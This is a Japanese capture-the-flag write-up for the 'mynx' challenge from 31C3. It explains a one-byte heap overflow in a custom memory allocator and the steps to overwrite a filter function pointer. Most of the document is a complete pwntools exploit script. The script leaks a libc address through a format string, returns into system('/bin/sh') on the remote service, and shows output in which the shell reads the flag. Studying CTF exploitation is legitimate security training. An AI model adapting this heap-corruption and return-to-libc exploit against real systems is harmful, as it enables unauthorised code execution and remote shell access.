= mynx = * 自分でメモリ管理をしている。 * 8個の0x1000バイトの領域を作って0x100バイトごとのピースに分けて使用する。 {{{#!highlight c // 0x804a900, 8times struct chunk_hdr { void *chunk; int32_t nblocks; }; struct piece_aa { char tag; // bit 0: allocated; other: 0x48=aa, 0x36=comment // payload_base int32_t entry_number; // payload_base+4 filter_t *filter; // payload_base+8 char aa[]; // 0xf7 bytes written }; struct piece_comments { char tag; // bit 0: allocated; other: 0x48=aa, 0x36=comment // payload_base int32_t entry_number; // payload_base+4 char comments[]; // 0xfc bytes written <--- }; }}} コメントは0x9+0xfc=0x101まで書き込むが,pieceは0x100しか無い。オーバーフローを起こす。 次の手順で任意のアドレスをcall出来る。 * AA追加(1) * AA1にコメント追加 * AA追加(2) * AA2にコメントを二回書く。 * 二番目のコメントに * +0x0位置に実行したい命令のアドレス(0x08048b97)を配置 * +0x4位置にROP * コメントを削除 * コメントを追加,最後の1バイトを0x49にする。 * 二番目のコメントがAA2(新)になる。 * AA1のコメントを削除して再追加。 * 最後の1バイトを0にしてAA2(旧)を潰す。 * AA2のフィルタを実行 mainのreturn addressから`__libc_start_main`の内部の戻り先アドレスを得て,libcのバージョンを特定(`libc6-i386_2.19-10ubuntu2.1_amd64`),systemへreturn-to-libcする。 {{{#!highlight python from pwn import * context(arch = "i386", os = "linux") PRINTF = 0x8048420 POP4 = 0x8049108 POP3 = 0x8049109 POP2 = 0x804910a POP1 = 0x804910b POPEBP = 0x0804910b MAIN_RET_REL = 0x19a63 SYSTEM_REL = 0x3e2b0 #conn = process("./mynx") conn = remote("188.40.18.80", 1234) def add_aa(aa, filter="0"): conn.send("1\n") conn.recvuntil("> ") conn.send(filter + "\n") conn.recvuntil(">>>\n") conn.send(aa) conn.recvuntil("> ") def select_aa(aaid): conn.send("3\n") conn.recvuntil("> ") conn.send(str(aaid) + "\n") conn.recvuntil("> ") def back_to_mainmenu(): conn.send("0\n") conn.recvuntil("> ") def add_comment(comment): conn.send("1\n") conn.recvuntil("> ") conn.send(comment) conn.recvuntil("> ") def delete_comments(): conn.send("2\n") conn.recvuntil("> ") conn.recvuntil("> ") ####################################################### log.waitfor("Retrieving libc_base") log.status("Adding AA1") add_aa("abc") select_aa(1) add_comment("AAAA") back_to_mainmenu() log.status("Adding AA2") add_aa("def") select_aa(2) add_comment("AAAA") add_comment(p32(PRINTF) + "%11$08x\n") delete_comments() add_comment("A"*0xfb + chr(0x49)) back_to_mainmenu() log.status("Removing AA2") select_aa(1) delete_comments() add_comment("A"*0xfb + chr(0)) back_to_mainmenu() select_aa(2) conn.send("3\n") libc_base = int(conn.recvline(), 16) - MAIN_RET_REL conn.recvuntil("> ") back_to_mainmenu() log.done_success("OK") ####################################################### log.waitfor("Spawning shell") log.status("Adding AA1") add_aa("abc") select_aa(3) add_comment("AAAA") back_to_mainmenu() log.status("Adding AA2") add_aa("def") select_aa(4) add_comment("AAAA") add_comment(p32(libc_base + SYSTEM_REL) + "/bin/sh\n") delete_comments() add_comment("A"*0xfb + chr(0x49)) back_to_mainmenu() log.status("Removing AA2") select_aa(3) delete_comments() add_comment("A"*0xfb + chr(0)) back_to_mainmenu() select_aa(4) conn.send("3\n") log.done_success("OK") conn.interactive() }}} {{{ % python exploit.py [+] Opening connection to 188.40.18.80 on port 1234: OK [+] Retrieving libc_base: OK [+] Spawning shell: OK [*] Switching to interactive mode $ cat home/user/flag 31C3_i_like_weird_allocators }}}